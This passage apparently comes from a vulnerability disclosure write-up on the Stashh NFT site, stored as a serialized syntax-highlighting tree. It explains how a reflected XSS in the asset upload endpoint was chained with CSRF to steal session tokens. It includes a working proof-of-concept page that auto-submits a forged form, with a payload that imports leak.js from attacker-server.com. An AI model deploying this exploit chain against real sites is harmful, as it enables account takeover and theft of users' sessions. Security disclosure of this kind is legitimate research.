\u003C",{"type":19,"tag":168,"props":29920,"children":29921},{"style":382},[29922],{"type":24,"value":29923},"form",{"type":19,"tag":168,"props":29925,"children":29926},{"style":393},[29927],{"type":24,"value":29928}," id",{"type":19,"tag":168,"props":29930,"children":29931},{"style":399},[29932],{"type":24,"value":486},{"type":19,"tag":168,"props":29934,"children":29935},{"style":181},[29936],{"type":24,"value":29937},"\"form123\"",{"type":19,"tag":168,"props":29939,"children":29940},{"style":393},[29941],{"type":24,"value":29942}," action",{"type":19,"tag":168,"props":29944,"children":29945},{"style":399},[29946],{"type":24,"value":486},{"type":19,"tag":168,"props":29948,"children":29949},{"style":181},[29950],{"type":24,"value":29951},"\"https://stashh.io/upload_asset\"",{"type":19,"tag":168,"props":29953,"children":29954},{"style":393},[29955],{"type":24,"value":14559},{"type":19,"tag":168,"props":29957,"children":29958},{"style":399},[29959],{"type":24,"value":486},{"type":19,"tag":168,"props":29961,"children":29962},{"style":181},[29963],{"type":24,"value":29964},"\"POST\"",{"type":19,"tag":168,"props":29966,"children":29967},{"style":393},[29968],{"type":24,"value":29969}," enctype",{"type":19,"tag":168,"props":29971,"children":29972},{"style":399},[29973],{"type":24,"value":486},{"type":19,"tag":168,"props":29975,"children":29976},{"style":181},[29977],{"type":24,"value":29978},"\"multipart/form-data\"",{"type":19,"tag":168,"props":29980,"children":29981},{"style":393},[29982],{"type":24,"value":29983}," value",{"type":19,"tag":168,"props":29985,"children":29986},{"style":399},[29987],{"type":24,"value":486},{"type":19,"tag":168,"props":29989,"children":29990},{"style":181},[29991],{"type":24,"value":29992},"\"asd\"",{"type":19,"tag":168,"props":29994,"children":29995},{"style":29848},[29996],{"type":24,"value":3427},{"type":19,"tag":168,"props":29998,"children":29999},{"class":170,"line":560},[30000,30005,30009,30014,30018,30023,30028,30032,30037,30041,30045,30050],{"type":19,"tag":168,"props":30001,"children":30002},{"style":29848},[30003],{"type":24,"value":30004}," \u003C",{"type":19,"tag":168,"props":30006,"children":30007},{"style":382},[30008],{"type":24,"value":5804},{"type":19,"tag":168,"props":30010,"children":30011},{"style":393},[30012],{"type":24,"value":30013}," type",{"type":19,"tag":168,"props":30015,"children":30016},{"style":399},[30017],{"type":24,"value":486},{"type":19,"tag":168,"props":30019,"children":30020},{"style":181},[30021],{"type":24,"value":30022},"\"file\"",{"type":19,"tag":168,"props":30024,"children":30025},{"style":393},[30026],{"type":24,"value":30027}," name",{"type":19,"tag":168,"props":30029,"children":30030},{"style":399},[30031],{"type":24,"value":486},{"type":19,"tag":168,"props":30033,"children":30034},{"style":181},[30035],{"type":24,"value":30036},"\"data\"",{"type":19,"tag":168,"props":30038,"children":30039},{"style":393},[30040],{"type":24,"value":29928},{"type":19,"tag":168,"props":30042,"children":30043},{"style":399},[30044],{"type":24,"value":486},{"type":19,"tag":168,"props":30046,"children":30047},{"style":181},[30048],{"type":24,"value":30049},"\"file123\"",{"type":19,"tag":168,"props":30051,"children":30052},{"style":29848},[30053],{"type":24,"value":3427},{"type":19,"tag":168,"props":30055,"children":30056},{"class":170,"line":666},[30057,30062,30066,30070,30074,30079,30083,30087,30092,30096,30100,30104,30109,30114,30119,30124,30129,30133,30138,30143,30148,30152,30157,30162,30166,30171,30176,30181,30186,30191,30196,30201,30205,30210,30215,30220,30225,30230,30234,30239,30244,30248],{"type":19,"tag":168,"props":30058,"children":30059},{"style":29848},[30060],{"type":24,"value":30061}," \u003C",{"type":19,"tag":168,"props":30063,"children":30064},{"style":382},[30065],{"type":24,"value":5804},{"type":19,"tag":168,"props":30067,"children":30068},{"style":393},[30069],{"type":24,"value":30013},{"type":19,"tag":168,"props":30071,"children":30072},{"style":399},[30073],{"type":24,"value":486},{"type":19,"tag":168,"props":30075,"children":30076},{"style":181},[30077],{"type":24,"value":30078},"\"hidden\"",{"type":19,"tag":168,"props":30080,"children":30081},{"style":393},[30082],{"type":24,"value":30027},{"type":19,"tag":168,"props":30084,"children":30085},{"style":399},[30086],{"type":24,"value":486},{"type":19,"tag":168,"props":30088,"children":30089},{"style":181},[30090],{"type":24,"value":30091},"\"config\"",{"type":19,"tag":168,"props":30093,"children":30094},{"style":393},[30095],{"type":24,"value":29983},{"type":19,"tag":168,"props":30097,"children":30098},{"style":399},[30099],{"type":24,"value":486},{"type":19,"tag":168,"props":30101,"children":30102},{"style":181},[30103],{"type":24,"value":17514},{"type":19,"tag":168,"props":30105,"children":30106},{"style":382},[30107],{"type":24,"value":30108},"{"",{"type":19,"tag":168,"props":30110,"children":30111},{"style":181},[30112],{"type":24,"value":30113},"address",{"type":19,"tag":168,"props":30115,"children":30116},{"style":382},[30117],{"type":24,"value":30118},"":"",{"type":19,"tag":168,"props":30120,"children":30121},{"style":181},[30122],{"type":24,"value":30123},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":19,"tag":168,"props":30125,"children":30126},{"style":382},[30127],{"type":24,"value":30128},"<",{"type":19,"tag":168,"props":30130,"children":30131},{"style":181},[30132],{"type":24,"value":1344},{"type":19,"tag":168,"props":30134,"children":30135},{"style":382},[30136],{"type":24,"value":30137},"/",{"type":19,"tag":168,"props":30139,"children":30140},{"style":181},[30141],{"type":24,"value":30142},"src",{"type":19,"tag":168,"props":30144,"children":30145},{"style":382},[30146],{"type":24,"value":30147},"=",{"type":19,"tag":168,"props":30149,"children":30150},{"style":181},[30151],{"type":24,"value":16729},{"type":19,"tag":168,"props":30153,"children":30154},{"style":382},[30155],{"type":24,"value":30156}," ",{"type":19,"tag":168,"props":30158,"children":30159},{"style":181},[30160],{"type":24,"value":30161},"onerror",{"type":19,"tag":168,"props":30163,"children":30164},{"style":382},[30165],{"type":24,"value":30147},{"type":19,"tag":168,"props":30167,"children":30168},{"style":181},[30169],{"type":24,"value":30170},"alert",{"type":19,"tag":168,"props":30172,"children":30173},{"style":382},[30174],{"type":24,"value":30175},"(",{"type":19,"tag":168,"props":30177,"children":30178},{"style":181},[30179],{"type":24,"value":30180},"document",{"type":19,"tag":168,"props":30182,"children":30183},{"style":382},[30184],{"type":24,"value":30185},".",{"type":19,"tag":168,"props":30187,"children":30188},{"style":181},[30189],{"type":24,"value":30190},"domain",{"type":19,"tag":168,"props":30192,"children":30193},{"style":382},[30194],{"type":24,"value":30195},")>","",{"type":19,"tag":168,"props":30197,"children":30198},{"style":181},[30199],{"type":24,"value":30200},"to",{"type":19,"tag":168,"props":30202,"children":30203},{"style":382},[30204],{"type":24,"value":30118},{"type":19,"tag":168,"props":30206,"children":30207},{"style":181},[30208],{"type":24,"value":30209},"profile",{"type":19,"tag":168,"props":30211,"children":30212},{"style":382},[30213],{"type":24,"value":30214},"-",{"type":19,"tag":168,"props":30216,"children":30217},{"style":181},[30218],{"type":24,"value":30219},"assets",{"type":19,"tag":168,"props":30221,"children":30222},{"style":382},[30223],{"type":24,"value":30224},"","",{"type":19,"tag":168,"props":30226,"children":30227},{"style":181},[30228],{"type":24,"value":30229},"type",{"type":19,"tag":168,"props":30231,"children":30232},{"style":382},[30233],{"type":24,"value":30118},{"type":19,"tag":168,"props":30235,"children":30236},{"style":181},[30237],{"type":24,"value":30238},"icon",{"type":19,"tag":168,"props":30240,"children":30241},{"style":382},[30242],{"type":24,"value":30243},""}",{"type":19,"tag":168,"props":30245,"children":30246},{"style":181},[30247],{"type":24,"value":17514},{"type":19,"tag":168,"props":30249,"children":30250},{"style":29848},[30251],{"type":24,"value":30252}," />\n",{"type":19,"tag":168,"props":30254,"children":30255},{"class":170,"line":694},[30256,30260,30264,30268,30272,30277,30281,30285,30290],{"type":19,"tag":168,"props":30257,"children":30258},{"style":29848},[30259],{"type":24,"value":30061},{"type":19,"tag":168,"props":30261,"children":30262},{"style":382},[30263],{"type":24,"value":5804},{"type":19,"tag":168,"props":30265,"children":30266},{"style":393},[30267],{"type":24,"value":30013},{"type":19,"tag":168,"props":30269,"children":30270},{"style":399},[30271],{"type":24,"value":486},{"type":19,"tag":168,"props":30273,"children":30274},{"style":181},[30275],{"type":24,"value":30276},"\"submit\"",{"type":19,"tag":168,"props":30278,"children":30279},{"style":393},[30280],{"type":24,"value":29983},{"type":19,"tag":168,"props":30282,"children":30283},{"style":399},[30284],{"type":24,"value":486},{"type":19,"tag":168,"props":30286,"children":30287},{"style":181},[30288],{"type":24,"value":30289},"\"Submit request\"",{"type":19,"tag":168,"props":30291,"children":30292},{"style":29848},[30293],{"type":24,"value":30252},{"type":19,"tag":168,"props":30295,"children":30296},{"class":170,"line":707},[30297,30302,30306],{"type":19,"tag":168,"props":30298,"children":30299},{"style":29848},[30300],{"type":24,"value":30301}," \u003C/",{"type":19,"tag":168,"props":30303,"children":30304},{"style":382},[30305],{"type":24,"value":29923},{"type":19,"tag":168,"props":30307,"children":30308},{"style":29848},[30309],{"type":24,"value":3427},{"type":19,"tag":168,"props":30311,"children":30312},{"class":170,"line":725},[30313,30318,30322],{"type":19,"tag":168,"props":30314,"children":30315},{"style":29848},[30316],{"type":24,"value":30317}," \u003C/",{"type":19,"tag":168,"props":30319,"children":30320},{"style":382},[30321],{"type":24,"value":29872},{"type":19,"tag":168,"props":30323,"children":30324},{"style":29848},[30325],{"type":24,"value":3427},{"type":19,"tag":168,"props":30327,"children":30328},{"class":170,"line":746},[30329],{"type":19,"tag":168,"props":30330,"children":30331},{"emptyLinePlaceholder":14},[30332],{"type":24,"value":1093},{"type":19,"tag":168,"props":30334,"children":30335},{"class":170,"line":755},[30336,30340,30344],{"type":19,"tag":168,"props":30337,"children":30338},{"style":29848},[30339],{"type":24,"value":29867},{"type":19,"tag":168,"props":30341,"children":30342},{"style":382},[30343],{"type":24,"value":29888},{"type":19,"tag":168,"props":30345,"children":30346},{"style":29848},[30347],{"type":24,"value":3427},{"type":19,"tag":168,"props":30349,"children":30350},{"class":170,"line":1008},[30351],{"type":19,"tag":168,"props":30352,"children":30353},{"emptyLinePlaceholder":14},[30354],{"type":24,"value":1093},{"type":19,"tag":168,"props":30356,"children":30357},{"class":170,"line":1025},[30358,30363],{"type":19,"tag":168,"props":30359,"children":30360},{"style":212},[30361],{"type":24,"value":30362}," (async ()=>",{"type":19,"tag":168,"props":30364,"children":30365},{"style":382},[30366],{"type":24,"value":8324},{"type":19,"tag":168,"props":30368,"children":30369},{"class":170,"line":1042},[30370,30375,30380,30385,30390,30394,30398,30403,30407,30412,30417,30422],{"type":19,"tag":168,"props":30371,"children":30372},{"style":393},[30373],{"type":24,"value":30374}," const",{"type":19,"tag":168,"props":30376,"children":30377},{"style":393},[30378],{"type":24,"value":30379}," blob",{"type":19,"tag":168,"props":30381,"children":30382},{"style":399},[30383],{"type":24,"value":30384}," = ",{"type":19,"tag":168,"props":30386,"children":30387},{"style":419},[30388],{"type":24,"value":30389},"await",{"type":19,"tag":168,"props":30391,"children":30392},{"style":399},[30393],{"type":24,"value":461},{"type":19,"tag":168,"props":30395,"children":30396},{"style":419},[30397],{"type":24,"value":30389},{"type":19,"tag":168,"props":30399,"children":30400},{"style":175},[30401],{"type":24,"value":30402}," fetch",{"type":19,"tag":168,"props":30404,"children":30405},{"style":399},[30406],{"type":24,"value":500},{"type":19,"tag":168,"props":30408,"children":30409},{"style":181},[30410],{"type":24,"value":30411},"\"/sapo.png\"",{"type":19,"tag":168,"props":30413,"children":30414},{"style":399},[30415],{"type":24,"value":30416},")).",{"type":19,"tag":168,"props":30418,"children":30419},{"style":175},[30420],{"type":24,"value":30421},"blob",{"type":19,"tag":168,"props":30423,"children":30424},{"style":399},[30425],{"type":24,"value":5172},{"type":19,"tag":168,"props":30427,"children":30428},{"class":170,"line":1055},[30429],{"type":19,"tag":168,"props":30430,"children":30431},{"emptyLinePlaceholder":14},[30432],{"type":24,"value":1093},{"type":19,"tag":168,"props":30434,"children":30435},{"class":170,"line":1064},[30436,30440,30445,30449,30453,30458,30463,30467,30471,30476,30481,30486,30491],{"type":19,"tag":168,"props":30437,"children":30438},{"style":393},[30439],{"type":24,"value":456},{"type":19,"tag":168,"props":30441,"children":30442},{"style":393},[30443],{"type":24,"value":30444}," f",{"type":19,"tag":168,"props":30446,"children":30447},{"style":399},[30448],{"type":24,"value":30384},{"type":19,"tag":168,"props":30450,"children":30451},{"style":382},[30452],{"type":24,"value":12569},{"type":19,"tag":168,"props":30454,"children":30455},{"style":175},[30456],{"type":24,"value":30457}," File",{"type":19,"tag":168,"props":30459,"children":30460},{"style":399},[30461],{"type":24,"value":30462},"([",{"type":19,"tag":168,"props":30464,"children":30465},{"style":393},[30466],{"type":24,"value":30421},{"type":19,"tag":168,"props":30468,"children":30469},{"style":399},[30470],{"type":24,"value":20516},{"type":19,"tag":168,"props":30472,"children":30473},{"style":181},[30474],{"type":24,"value":30475},"'sapo.png'",{"type":19,"tag":168,"props":30477,"children":30478},{"style":399},[30479],{"type":24,"value":30480},", {",{"type":19,"tag":168,"props":30482,"children":30483},{"style":393},[30484],{"type":24,"value":30485},"type:",{"type":19,"tag":168,"props":30487,"children":30488},{"style":181},[30489],{"type":24,"value":30490}," 'image/png'",{"type":19,"tag":168,"props":30492,"children":30493},{"style":399},[30494],{"type":24,"value":30495},"})\n",{"type":19,"tag":168,"props":30497,"children":30498},{"class":170,"line":1087},[30499,30503,30508,30512,30516,30521],{"type":19,"tag":168,"props":30500,"children":30501},{"style":393},[30502],{"type":24,"value":30374},{"type":19,"tag":168,"props":30504,"children":30505},{"style":393},[30506],{"type":24,"value":30507}," dataTransfer",{"type":19,"tag":168,"props":30509,"children":30510},{"style":399},[30511],{"type":24,"value":30384},{"type":19,"tag":168,"props":30513,"children":30514},{"style":382},[30515],{"type":24,"value":12569},{"type":19,"tag":168,"props":30517,"children":30518},{"style":175},[30519],{"type":24,"value":30520}," DataTransfer",{"type":19,"tag":168,"props":30522,"children":30523},{"style":399},[30524],{"type":24,"value":1084},{"type":19,"tag":168,"props":30526,"children":30527},{"class":170,"line":1096},[30528,30533,30537,30542,30546,30550,30554,30559],{"type":19,"tag":168,"props":30529,"children":30530},{"style":393},[30531],{"type":24,"value":30532}," dataTransfer",{"type":19,"tag":168,"props":30534,"children":30535},{"style":399},[30536],{"type":24,"value":948},{"type":19,"tag":168,"props":30538,"children":30539},{"style":393},[30540],{"type":24,"value":30541},"items",{"type":19,"tag":168,"props":30543,"children":30544},{"style":399},[30545],{"type":24,"value":948},{"type":19,"tag":168,"props":30547,"children":30548},{"style":175},[30549],{"type":24,"value":7080},{"type":19,"tag":168,"props":30551,"children":30552},{"style":399},[30553],{"type":24,"value":500},{"type":19,"tag":168,"props":30555,"children":30556},{"style":393},[30557],{"type":24,"value":30558},"f",{"type":19,"tag":168,"props":30560,"children":30561},{"style":399},[30562],{"type":24,"value":1249},{"type":19,"tag":168,"props":30564,"children":30565},{"class":170,"line":1105},[30566],{"type":19,"tag":168,"props":30567,"children":30568},{"emptyLinePlaceholder":14},[30569],{"type":24,"value":1093},{"type":19,"tag":168,"props":30571,"children":30572},{"class":170,"line":1174},[30573,30578,30582,30587,30591,30596,30600,30604],{"type":19,"tag":168,"props":30574,"children":30575},{"style":393},[30576],{"type":24,"value":30577}," file123",{"type":19,"tag":168,"props":30579,"children":30580},{"style":399},[30581],{"type":24,"value":948},{"type":19,"tag":168,"props":30583,"children":30584},{"style":393},[30585],{"type":24,"value":30586},"files",{"type":19,"tag":168,"props":30588,"children":30589},{"style":399},[30590],{"type":24,"value":30384},{"type":19,"tag":168,"props":30592,"children":30593},{"style":393},[30594],{"type":24,"value":30595},"dataTransfer",{"type":19,"tag":168,"props":30597,"children":30598},{"style":399},[30599],{"type":24,"value":948},{"type":19,"tag":168,"props":30601,"children":30602},{"style":393},[30603],{"type":24,"value":30586},{"type":19,"tag":168,"props":30605,"children":30606},{"style":399},[30607],{"type":24,"value":412},{"type":19,"tag":168,"props":30609,"children":30610},{"class":170,"line":1182},[30611,30616],{"type":19,"tag":168,"props":30612,"children":30613},{"style":382},[30614],{"type":24,"value":30615}," }",{"type":19,"tag":168,"props":30617,"children":30618},{"style":212},[30619],{"type":24,"value":30620},")()\n",{"type":19,"tag":168,"props":30622,"children":30623},{"class":170,"line":1212},[30624],{"type":19,"tag":168,"props":30625,"children":30626},{"emptyLinePlaceholder":14},[30627],{"type":24,"value":1093},{"type":19,"tag":168,"props":30629,"children":30630},{"class":170,"line":1220},[30631,30635,30639],{"type":19,"tag":168,"props":30632,"children":30633},{"style":29848},[30634],{"type":24,"value":30317},{"type":19,"tag":168,"props":30636,"children":30637},{"style":382},[30638],{"type":24,"value":29888},{"type":19,"tag":168,"props":30640,"children":30641},{"style":29848},[30642],{"type":24,"value":3427},{"type":19,"tag":168,"props":30644,"children":30645},{"class":170,"line":1252},[30646,30650,30654],{"type":19,"tag":168,"props":30647,"children":30648},{"style":29848},[30649],{"type":24,"value":29902},{"type":19,"tag":168,"props":30651,"children":30652},{"style":382},[30653],{"type":24,"value":29855},{"type":19,"tag":168,"props":30655,"children":30656},{"style":29848},[30657],{"type":24,"value":3427},{"type":19,"tag":20,"props":30659,"children":30660},{},[30661],{"type":24,"value":30662},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":19,"tag":20,"props":30664,"children":30665},{},[30666],{"type":24,"value":30667},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":19,"tag":20,"props":30669,"children":30670},{},[30671],{"type":24,"value":30672},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":19,"tag":20,"props":30674,"children":30675},{},[30676],{"type":24,"value":30677},"From here, we were able to steal the session cookie from local storage.",{"type":19,"tag":158,"props":30679,"children":30681},{"className":28835,"code":30680,"language":28837,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[30682],{"type":19,"tag":27,"props":30683,"children":30684},{"__ignoreMap":7},[30685,30700,30715,30746,30821,30872,31060,31099,31114,31129,31136,31151,31158,31169,31220,31227,31282,31309,31344,31351,31386,31393,31414,31425,31432,31447],{"type":19,"tag":168,"props":30686,"children":30687},{"class":170,"line":171},[30688,30692,30696],{"type":19,"tag":168,"props":30689,"children":30690},{"style":29848},[30691],{"type":24,"value":3240},{"type":19,"tag":168,"props":30693,"children":30694},{"style":382},[30695],{"type":24,"value":29855},{"type":19,"tag":168,"props":30697,"children":30698},{"style":29848},[30699],{"type":24,"value":3427},{"type":19,"tag":168,"props":30701,"children":30702},{"class":170,"line":198},[30703,30707,30711],{"type":19,"tag":168,"props":30704,"children":30705},{"style":29848},[30706],{"type":24,"value":29867},{"type":19,"tag":168,"props":30708,"children":30709},{"style":382},[30710],{"type":24,"value":29872},{"type":19,"tag":168,"props":30712,"children":30713},{"style":29848},[30714],{"type":24,"value":3427},{"type":19,"tag":168,"props":30716,"children":30717},{"class":170,"line":415},[30718,30722,30726,30730,30734,30738,30742],{"type":19,"tag":168,"props":30719,"children":30720},{"style":29848},[30721],{"type":24,"value":29867},{"type":19,"tag":168,"props":30723,"children":30724},{"style":382},[30725],{"type":24,"value":29888},{"type":19,"tag":168,"props":30727,"children":30728},{"style":29848},[30729],{"type":24,"value":7905},{"type":19,"tag":168,"props":30731,"children":30732},{"style":212},[30733],{"type":24,"value":29897},{"type":19,"tag":168,"props":30735,"children":30736},{"style":29848},[30737],{"type":24,"value":29902},{"type":19,"tag":168,"props":30739,"children":30740},{"style":382},[30741],{"type":24,"value":29888},{"type":19,"tag":168,"props":30743,"children":30744},{"style":29848},[30745],{"type":24,"value":3427},{"type":19,"tag":168,"props":30747,"children":30748},{"class":170,"line":450},[30749,30753,30757,30761,30765,30769,30773,30777,30781,30785,30789,30793,30797,30801,30805,30809,30813,30817],{"type":19,"tag":168,"props":30750,"children":30751},{"style":29848},[30752],{"type":24,"value":29918},{"type":19,"tag":168,"props":30754,"children":30755},{"style":382},[30756],{"type":24,"value":29923},{"type":19,"tag":168,"props":30758,"children":30759},{"style":393},[30760],{"type":24,"value":29928},{"type":19,"tag":168,"props":30762,"children":30763},{"style":399},[30764],{"type":24,"value":486},{"type":19,"tag":168,"props":30766,"children":30767},{"style":181},[30768],{"type":24,"value":29937},{"type":19,"tag":168,"props":30770,"children":30771},{"style":393},[30772],{"type":24,"value":29942},{"type":19,"tag":168,"props":30774,"children":30775},{"style":399},[30776],{"type":24,"value":486},{"type":19,"tag":168,"props":30778,"children":30779},{"style":181},[30780],{"type":24,"value":29951},{"type":19,"tag":168,"props":30782,"children":30783},{"style":393},[30784],{"type":24,"value":14559},{"type":19,"tag":168,"props":30786,"children":30787},{"style":399},[30788],{"type":24,"value":486},{"type":19,"tag":168,"props":30790,"children":30791},{"style":181},[30792],{"type":24,"value":29964},{"type":19,"tag":168,"props":30794,"children":30795},{"style":393},[30796],{"type":24,"value":29969},{"type":19,"tag":168,"props":30798,"children":30799},{"style":399},[30800],{"type":24,"value":486},{"type":19,"tag":168,"props":30802,"children":30803},{"style":181},[30804],{"type":24,"value":29978},{"type":19,"tag":168,"props":30806,"children":30807},{"style":393},[30808],{"type":24,"value":29983},{"type":19,"tag":168,"props":30810,"children":30811},{"style":399},[30812],{"type":24,"value":486},{"type":19,"tag":168,"props":30814,"children":30815},{"style":181},[30816],{"type":24,"value":29992},{"type":19,"tag":168,"props":30818,"children":30819},{"style":29848},[30820],{"type":24,"value":3427},{"type":19,"tag":168,"props":30822,"children":30823},{"class":170,"line":560},[30824,30828,30832,30836,30840,30844,30848,30852,30856,30860,30864,30868],{"type":19,"tag":168,"props":30825,"children":30826},{"style":29848},[30827],{"type":24,"value":30004},{"type":19,"tag":168,"props":30829,"children":30830},{"style":382},[30831],{"type":24,"value":5804},{"type":19,"tag":168,"props":30833,"children":30834},{"style":393},[30835],{"type":24,"value":30013},{"type":19,"tag":168,"props":30837,"children":30838},{"style":399},[30839],{"type":24,"value":486},{"type":19,"tag":168,"props":30841,"children":30842},{"style":181},[30843],{"type":24,"value":30022},{"type":19,"tag":168,"props":30845,"children":30846},{"style":393},[30847],{"type":24,"value":30027},{"type":19,"tag":168,"props":30849,"children":30850},{"style":399},[30851],{"type":24,"value":486},{"type":19,"tag":168,"props":30853,"children":30854},{"style":181},[30855],{"type":24,"value":30036},{"type":19,"tag":168,"props":30857,"children":30858},{"style":393},[30859],{"type":24,"value":29928},{"type":19,"tag":168,"props":30861,"children":30862},{"style":399},[30863],{"type":24,"value":486},{"type":19,"tag":168,"props":30865,"children":30866},{"style":181},[30867],{"type":24,"value":30049},{"type":19,"tag":168,"props":30869,"children":30870},{"style":29848},[30871],{"type":24,"value":3427},{"type":19,"tag":168,"props":30873,"children":30874},{"class":170,"line":666},[30875,30879,30883,30887,30891,30895,30899,30903,30907,30911,30915,30919,30924,30928,30933,30937,30942,30946,30951,30956,30960,30964,30969,30974,30979,30984,30989,30994,30998,31003,31007,31011,31016,31020,31025,31030,31035,31039,31043,31047,31052,31056],{"type":19,"tag":168,"props":30876,"children":30877},{"style":29848},[30878],{"type":24,"value":30061},{"type":19,"tag":168,"props":30880,"children":30881},{"style":382},[30882],{"type":24,"value":5804},{"type":19,"tag":168,"props":30884,"children":30885},{"style":393},[30886],{"type":24,"value":30013},{"type":19,"tag":168,"props":30888,"children":30889},{"style":399},[30890],{"type":24,"value":486},{"type":19,"tag":168,"props":30892,"children":30893},{"style":181},[30894],{"type":24,"value":30078},{"type":19,"tag":168,"props":30896,"children":30897},{"style":393},[30898],{"type":24,"value":30027},{"type":19,"tag":168,"props":30900,"children":30901},{"style":399},[30902],{"type":24,"value":486},{"type":19,"tag":168,"props":30904,"children":30905},{"style":181},[30906],{"type":24,"value":30091},{"type":19,"tag":168,"props":30908,"children":30909},{"style":393},[30910],{"type":24,"value":29983},{"type":19,"tag":168,"props":30912,"children":30913},{"style":399},[30914],{"type":24,"value":486},{"type":19,"tag":168,"props":30916,"children":30917},{"style":181},[30918],{"type":24,"value":17514},{"type":19,"tag":168,"props":30920,"children":30921},{"style":382},[30922],{"type":24,"value":30923},"{"",{"type":19,"tag":168,"props":30925,"children":30926},{"style":181},[30927],{"type":24,"value":30113},{"type":19,"tag":168,"props":30929,"children":30930},{"style":382},[30931],{"type":24,"value":30932},"":"<",{"type":19,"tag":168,"props":30934,"children":30935},{"style":181},[30936],{"type":24,"value":1344},{"type":19,"tag":168,"props":30938,"children":30939},{"style":382},[30940],{"type":24,"value":30941},"/",{"type":19,"tag":168,"props":30943,"children":30944},{"style":181},[30945],{"type":24,"value":30142},{"type":19,"tag":168,"props":30947,"children":30948},{"style":382},[30949],{"type":24,"value":30950},"=",{"type":19,"tag":168,"props":30952,"children":30953},{"style":181},[30954],{"type":24,"value":30955},"x onerror",{"type":19,"tag":168,"props":30957,"children":30958},{"style":382},[30959],{"type":24,"value":30950},{"type":19,"tag":168,"props":30961,"children":30962},{"style":181},[30963],{"type":24,"value":16937},{"type":19,"tag":168,"props":30965,"children":30966},{"style":382},[30967],{"type":24,"value":30968},"(`",{"type":19,"tag":168,"props":30970,"children":30971},{"style":181},[30972],{"type":24,"value":30973},"https",{"type":19,"tag":168,"props":30975,"children":30976},{"style":382},[30977],{"type":24,"value":30978},"://",{"type":19,"tag":168,"props":30980,"children":30981},{"style":181},[30982],{"type":24,"value":30983},"attacker-server",{"type":19,"tag":168,"props":30985,"children":30986},{"style":382},[30987],{"type":24,"value":30988},".",{"type":19,"tag":168,"props":30990,"children":30991},{"style":181},[30992],{"type":24,"value":30993},"com",{"type":19,"tag":168,"props":30995,"children":30996},{"style":382},[30997],{"type":24,"value":30941},{"type":19,"tag":168,"props":30999,"children":31000},{"style":181},[31001],{"type":24,"value":31002},"leak",{"type":19,"tag":168,"props":31004,"children":31005},{"style":382},[31006],{"type":24,"value":30988},{"type":19,"tag":168,"props":31008,"children":31009},{"style":181},[31010],{"type":24,"value":28837},{"type":19,"tag":168,"props":31012,"children":31013},{"style":382},[31014],{"type":24,"value":31015},"`)>","",{"type":19,"tag":168,"props":31017,"children":31018},{"style":181},[31019],{"type":24,"value":30200},{"type":19,"tag":168,"props":31021,"children":31022},{"style":382},[31023],{"type":24,"value":31024},"":"",{"type":19,"tag":168,"props":31026,"children":31027},{"style":181},[31028],{"type":24,"value":31029},"profile-assets",{"type":19,"tag":168,"props":31031,"children":31032},{"style":382},[31033],{"type":24,"value":31034},"","",{"type":19,"tag":168,"props":31036,"children":31037},{"style":181},[31038],{"type":24,"value":30229},{"type":19,"tag":168,"props":31040,"children":31041},{"style":382},[31042],{"type":24,"value":31024},{"type":19,"tag":168,"props":31044,"children":31045},{"style":181},[31046],{"type":24,"value":30238},{"type":19,"tag":168,"props":31048,"children":31049},{"style":382},[31050],{"type":24,"value":31051},""}",{"type":19,"tag":168,"props":31053,"children":31054},{"style":181},[31055],{"type":24,"value":17514},{"type":19,"tag":168,"props":31057,"children":31058},{"style":29848},[31059],{"type":24,"value":30252},{"type":19,"tag":168,"props":31061,"children":31062},{"class":170,"line":694},[31063,31067,31071,31075,31079,31083,31087,31091,31095],{"type":19,"tag":168,"props":31064,"children":31065},{"style":29848},[31066],{"type":24,"value":30061},{"type":19,"tag":168,"props":31068,"children":31069},{"style":382},[31070],{"type":24,"value":5804},{"type":19,"tag":168,"props":31072,"children":31073},{"style":393},[31074],{"type":24,"value":30013},{"type":19,"tag":168,"props":31076,"children":31077},{"style":399},[31078],{"type":24,"value":486},{"type":19,"tag":168,"props":31080,"children":31081},{"style":181},[31082],{"type":24,"value":30276},{"type":19,"tag":168,"props":31084,"children":31085},{"style":393},[31086],{"type":24,"value":29983},{"type":19,"tag":168,"props":31088,"children":31089},{"style":399},[31090],{"type":24,"value":486},{"type":19,"tag":168,"props":31092,"children":31093},{"style":181},[31094],{"type":24,"value":30289},{"type":19,"tag":168,"props":31096,"children":31097},{"style":29848},[31098],{"type":24,"value":30252},{"type":19,"tag":168,"props":31100,"children":31101},{"class":170,"line":707},[31102,31106,31110],{"type":19,"tag":168,"props":31103,"children":31104},{"style":29848},[31105],{"type":24,"value":30301},{"type":19,"tag":168,"props":31107,"children":31108},{"style":382},[31109],{"type":24,"value":29923},{"type":19,"tag":168,"props":31111,"children":31112},{"style":29848},[31113],{"type":24,"value":3427},{"type":19,"tag":168,"props":31115,"children":31116},{"class":170,"line":725},[31117,31121,31125],{"type":19,"tag":168,"props":31118,"children":31119},{"style":29848},[31120],{"type":24,"value":30317},{"type":19,"tag":168,"props":31122,"children":31123},{"style":382},[31124],{"type":24,"value":29872},{"type":19,"tag":168,"props":31126,"children":31127},{"style":29848},[31128],{"type":24,"value":3427},{"type":19,"tag":168,"props":31130,"children":31131},{"class":170,"line":746},[31132],{"type":19,"tag":168,"props":31133,"children":31134},{"emptyLinePlaceholder":14},[31135],{"type":24,"value":1093},{"type":19,"tag":168,"props":31137,"children":31138},{"class":170,"line":755},[31139,31143,31147],{"type":19,"tag":168,"props":31140,"children":31141},{"style":29848},[31142],{"type":24,"value":29867}